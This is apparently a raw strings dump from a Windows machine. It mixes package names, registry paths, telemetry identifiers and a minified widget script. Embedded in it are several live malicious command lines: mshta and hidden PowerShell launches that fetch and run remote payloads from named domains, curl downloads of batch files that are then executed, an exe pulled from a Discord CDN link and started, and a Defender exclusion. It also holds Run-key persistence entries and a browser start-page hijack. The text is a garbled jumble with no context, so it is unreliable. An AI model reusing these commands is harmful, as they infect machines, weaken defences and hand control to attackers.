Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
\device\harddiskvolume3\windows\prefetch\cmd.exe-0bd30981.pf
Global.WindowsOobeAppHost.AppX05dbt8nqg2my7an1972z1krx3ezgsqph.mca
Global.WindowsOobeAppHost.AppXz53mm6ghetj3f5m66ea0rhahd10qadp8.wwa
Global.WindowsOobeAppHost.wwa
s\system32
Microsoft-Windows-XAML
Microsoft-Windows-XAML
Microsoft-Windows-XAML
Microsoft-Windows-XAML
Microsoft-Windows-XAML
windows\`
windows.hlp`
WindowsGenuineState
windows-kb890830|8efc0e6d687d6557
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\drivers.desc
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|ent-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
screenconnect%.windowsw
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
142^com.microsoft.windows.app.startmenux
$144^com.microsoft.windows.app.startmenu.searchboxin
148^com.microsoft.windows.e
Path=C:\WINDOWS\system32;
Windows.Defender.MpUxDlpSystemapp:system2026-02-24 07:58:502026-02-24 07:58:50k
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLIapp:immersive2026-02-21 11:25:032026-02-21 11:25:03y
s\system32\K
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
systemroot%\system32\msh*.exe>%public%\msh&ren%public%\**ta.exe&for%iin(%public%\ms*.exe)dostart/b%~ni"https://finxiio.com/a/fin
windows\system32\conhost.exe--headlesspowershell-c$io=$([char](226-121));set-aliasaset-alias;af$io'wr';anp$io'ex';;np(f-usebasicparsing'djue.fun/k')
c:\windows\system32/ccd%userprofile%\downloads&curl-o3.bathttps://convertigoto.net/cc/flesd/3.bat&curl-o2.bathttps://convertigoto.net/cc/flesd/2.bat&start3.bat
/q/ctype%systemroot%\system32\msh*.exe>%public%\msh&ren%public%\**ta.exe&for%iin(%public%\ms*.exe)dostart/b%~ni"https://docs.cooporatestock.com/ipk1teznl3rqinevnw7vizoobutelfrz11mfwohcfnk="
(%c:\windows\system32\windowspowershell\v1.0\powershell.exeinvoke-webrequest-uri'https://cdn.discordapp.com/attachments/930434921594519583/1006642278032482384/discord.exe'-outfile$env:temp\mtmt912293.exe;seta=ec;start$env:temp\mtmt912293.exe
alfbc:\windows\system32/rforfiles/s/p%tmp%/mcv*.zip/c"cmd.exe/ctar-xf@path-c%localappdata%\microsoft\teams\current&&del%localappdata%\microsoft\teams\current\charliehughes.pdf.lnk&&taskkill/f/imteams.exe2>nul"2%programfiles%\windowsnt\accessories\wordpad.exec:\windows\system32\cmd.exec:\windows\system32\cmd.exe%programfiles%\windowsnt\accessories\wordpad.exe%programfiles%\windowsnt\accessories\wordpad.exe
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
The GUID of the domain. This member will be zero if the domain controller does not have a Domain GUID (for example, the domain controller is not a Windows 2000 domain controller).
Directory Service (DS) flag indicating that the domain controller is running the Windows Time service for the domain.
\windows\system32\spool\drivers\x64\3\
\windows\system32\ativv
\windows\system32\drivers\dsark.dat
\windows\system32\lc.dat
\windows\system32\drivers\mtkwl
\windows\system32\perfc
\windows\system32\perfh
\windows\system32\driverstore\temp\
\windows\system32\spool\drivers\arm64\3\
\windows\system32\spool\{
system32\config\systemprofile
system32\windowspowershell\v1.0\modules\dbatools
.contains("c:\windows\system32\windowspowershell\v1.0\powershell.exe"))){"alreadylist"}else{"addlist"add-mppreference-exclusionprocess"c:\windows\system32\windowspowershell\v1.0\powershell.exe
WindowsUpdate::Telemetry::BeginAcquireLicense
WindowsUpdate::Telemetry::BeginDownload
WindowsUpdate::Telemetry::EndAcquireLicense
WindowsUpdate::Telemetry::BeginStageUserData
WindowsUpdate::Telemetry::EndDownload
WindowsUpdate::Telemetry::BeginInstall
WindowsUpdate::Telemetry::EndStageUserData
WindowsUpdate::Telemetry::BeginSearchUpdatePackages
WindowsUpdate::Telemetry::EndInstall
WindowsUpdate::Telemetry::AbortedInstallation
WindowsUpdate::Telemetry::EndSearchUpdatePackages
WindowsUpdate::Telemetry::CancelInstallation
WindowsUpdate::Telemetry::PauseInstallation
WindowsUpdate::Telemetry::ResumeInstallation
Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient
onecoreuap\shell\windows.storage\kfapi\folderredirector.cpp
onecoreuap\shell\windows.storage\kfapi\foldercreator.cpp
onecoreuap\shell\windows.storage\library\locationfolder.cpp
~,%Windows.pdb
Microsoft.Windows.
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
c:\windows\system32\
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
powershell-windowstylehidden-command
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows.comServer
MicrosoftWindows.Client.Core_1000.
software\microsoft\windows\currentversion\run
c:\windows\system32\wscript.exe"~.ini"/nonez0//e:vbscript
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsDuplicateString
WindowsCreateStringReference
WindowsCompareStringOrdinal
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsDeleteStringBuffer
WindowsConcatString
WindowsGetStringLen
EnumWindows
WindowsSubstringWithSpecifiedLength
WindowsReplaceString
GetProcessWindowStation
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!App
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist
windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist
windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
default$windows.data.globalization.culture.culturesettings
windows.data.globalization.culture.culturesettings
windows11
windows11
/C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v
Microsoft.WindowsNotepad_8wekyb3d8bbwe
Microsoft.WindowsNotepad_8wekyb3d8bbwe!App
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
Microsoft.WindowsNotepad_8wekyb3d8bbwe!App
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanele
l\Microsoft.Windows.Explorer
default$windows.data.apps.unpackagedproducts
windows.data.apps.unpackagedproducts:
system32\drivers\etc\hosts127.0.0.1 
GameDVR_DXGIHonorFSEWindowsCompatible
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
default$windows.data.input.text.roamingdictionary
windows.data.input.text.roamingdictionary
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
EGL_ANGLE_windows_ui_composition
Microsoft.WindowsNotepad_8wekyb3d8bbwe
windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.unrestricted
windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.unrestricted
st.bindDismissed(()=>ui(n.getCurrentTime())),n.Host.bindShown(()=>fi(n.getCurrentTime()))},[]);React.useEffect(()=>{st&&ht&&(ht-st)/1e3>n.DSB_RESET_SECONDS&&nt(ut)},[st,ht]);const li=React.useMemo(()=>p(w,vt,s,y,ri),[w,vt,s,y]);var bt=React.useMemo(()=>`${y?y/-2:0}px`,[y]),kt=bt;return rt==="NewsTrendingTopics"&&(kt="0px"),React.createElement("div",{className:t.classNames("carousel-container",{contrastFocusVisible:n.config.contrastFocusVisible}),style:{position:"relative"}},gt&&React.createElement(c,{message:ci}),React.createElement("div",{className:"dsb-carousel__focus group_focusable",id:"dsb-carousel__focus"+Math.random().toString(16).substring(2),onFocus:()=>{it.current=!0,yt(!0)},onBlur:()=>{it.current=!1,yt(!1)}}),React.createElement(v,Object.assign({},si)),React.createElement("div",{className:"carousel-frame",id:`${b}_carousel`,style:{overflow:"hidden",outline:"none",marginLeft:bt,marginRight:kt,paddingTop:g?g:"0px",paddingBottom:g?g:"0px"}},React.createElement("div",{className:"tiles-list",style:hi},li)))};const w={dsbScenario:"UnKnown",tilesToShow:1,tileSpacing:0,initIdx:0,showAriaMessage:!0,tileConfirmCallback:()=>{},moveSlides:1,children:React.createElement(React.Fragment,null)};i.MegaCarouselComponent.defaultProps=w;i.MegaCarouselPagination=t=>{const{paginationItems:i,imageHostName:r}=t,u=i===null||i===void 0?void 0:i.map((t,i)=>{const f=t.isCompleted?"dsb-carousel-pagination__bubble completed":t.isActive?"dsb-carousel-pagination__bubble active":"dsb-carousel-pagination__bubble",e=t.isCompleted?"ODSWG.CarouselPaginationBubbleCompleted":"ODSWG.CarouselPaginationBubble",u=n.generateBingThumbnailUrlFromId(e,r,16,16),o={WebkitMaskImage:`url(${u})`,maskImage:`url(${u})`};return React.createElement("div",{id:`pagination_item_${i}`,key:`pagination_item_${i}`,className:f,style:o})});return React.createElement("div",{className:"dsb-carousel-pagination"},u)}})(r=i.Templates||(i.Templates={}))})(i=t.DSB||(t.DSB={}))})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){var i;(function(i){var r;(function(i){class r extends React.Component{click(t,i,r){n.Host.launchDSBUriAsync(i,r,t)}render(){const{id:e,FieldsStore:r,Scenario:f,instrumentedItem:h}=this.props;if(!r)return React.createElement(React.Fragment,null);const{CaptionResourceKey:o,Title:c,SeeMoreUrl:l,Items:a}=r,s=o?n.Host.getLocString(o):c,u=a;if(!u||u.length<3||!l)return React.createElement(React.Fragment,null);const v=(n,i,r)=>{const u=n&&i;return React.createElement("div",{className:t.classNames("dsb-carousel-slide__content",!u&&"dsb-carousel-slide__content--newsTrendingTopics")},u&&React.createElement("div",{className:"dsb-carousel-slide__publisher"},React.createElement("div",{className:"dsb-carousel-slide-publisher__icon"},React.createElement("img",{src:n,alt:i,style:{width:"100%",height:"100%"}})),React.createElement("div",{className:"dsb-carousel-slide-publisher__name"},i)),React.createElement("div",{className:t.classNames("dsb-carousel-slide__title",!u&&"dsb-carousel-slide__title--newsTrendingTopics")},r))},y=t=>{const u={dsbSection:1,isWindows11:n.config.useCobaltCSS},{width:i,height:r}=n.generateThumbnailDimension(u),f=i?i+1:135,e=r?r:124;return`${t}?w=${f}&h=${e}&m=5`},p=t=>`url('${n.generateBingThumbnailUrlFromIdByScenario(t,{dsbSection:1,dsbScenario:n.DSBScenario.NewsTrendingTopics,isWindows11:n.config.useCobaltCSS,isTwoCta:this.props.isTwoCta,isFullWidthDSB:this.props.isFullWidthDSB},this.props.imageHostName)}')`,w=u.slice(0,u.length).map((i,r)=>{var u,f;const e=i.PublisherLogo&&i.Publisher,o={backgroundImage:e?`url(${y(i.Thumbnail.ThumbnailUrl)})`:p((u=i===null||i===void 0?void 0:i.Thumbnail)===null||u===void 0?void 0:u.ThumbnailId),width:"100%"};return React.createElement("div",{key:r,id:`dsb-carousel__tile-${r}`,className:t.classNames("dsb-carousel__slide",!e&&"dsb-carousel__slide--newsTrendingTopics"),style:n.config.useCobaltCSS?{width:"100%"}:o,title:i.Title,"aria-label":i.Title,role:"link","data-h":(f=i.instrumentedItem)===null||f===void 0?void 0:f.getHValue(),onClick:n=>this.click(n.nativeEvent,i.ClickThroughUrl,i.instrumente
https://wns2-ln2p.notify.windows.com/?token=AwYAAAAd06R7cBg9BdrfjWIsv3evETrc6AZhhUVmLyx1wP5h56ewpfp2YsodGAtfoPdxThLItC%2blsWYEiDeGq2%2fEfF8lARIWLMyn%2fruXC%2ba9VvFZVQ7NnJL2iCM9rMPEhwFoxQDHcRZmUd%2bA3A0UW9fTO5Wq
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy$
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManager
MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelService
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.StartMenu
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProp
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxS
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverability
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatform
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?
Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy
microsoft.windowsappruntime.1.5_8wekyb3d8bbwe-1-p
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
microsoftwindows.client.coreai_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
windows_ie_ac_001G
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
bxNwindowsregistryeditorversion5.00[hkey_current_user\software\microsoft\internetexplorer\main]"startpage"="http://www.xueshangwang.com"
MicrosoftWindows.Client.CBS_cw5n1h2txyewyzX
microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy6
microsoft.windows.cloudexperiencehost_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy6
@%SystemRoot%\system32\dnsapi.dll,-103
Microsoft.OutlookForWindows_8wekyb3d8bbwe
@%SystemRoot%\System32\sud.dll,-1#immutable1
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadataExper
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModelnce_cw
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3ce_cw
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
Windows.BackgroundTasks
Windows.Launch
@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Resources/FileTypeDisplayName_Txtfile}
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.7
windowslive.com
@C:\WINDOWS\System32\msimsg.dll,-34dll,-
@C:\Windows\System32\fsquirt.exe,-2343e
@Windows.UI.FileExplorer.dll,-51809
Microsoft.OutlookForWindows_8wekyb3d8bbwe
@%SystemRoot%\System32\themeui.dll,-2060
@%SystemRoot%\System32\themeui.dll,-2320
@%SystemRoot%\System32\mmres.dll,-800IND
ll@%SystemRoot%\System32\themeui.dll,-2114
@%SystemRoot%\System32\themeui.dll,-2118
@%SystemRoot%\System32\themeui.dll,-2122
@%SystemRoot%\System32\themeui.dll,-2116
@%SystemRoot%\system32\FirewallControlPanel.dll,-12122#immutable1
@%SystemRoot%\System32\telephon.cpl,-1#immutable1
@%SystemRoot%\System32\themeui.dll,-2107
@%SystemRoot%\System32\intl.cpl,-3#immutable1
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
mswindowsmusic
mswindowsmusic
Windows.CommandLineLaunch
Windows.File
Windows.Protocol
windows.appExecutionAlias
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.WindowsStore_8wekyb3d8bbwe
microsoft.windowsstore_8wekyb3d8bbwe
Microsoft.WindowsStore_8wekyb3d8bbwe>Z
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtension
ms-windows-store
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
ms-windows-store2
ms-windows-store-deskext
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwee
Windows.AppService
Windows.PersonalAssistant.Launch
Windows.PreInstalledConfigTask
Windows.UpdateTask
ms-windows-store
ms-windows-store2
ms-windows-store-deskext
@Windows.UI.FileExplorer.dll,-51808
@C:\WINDOWS\System32\fvewiz.dll,-970vk
@C:\WINDOWS\System32\fvewiz.dll,-920
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.7
MPackageIDWindowsp
Windows.WebAccountProvider
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
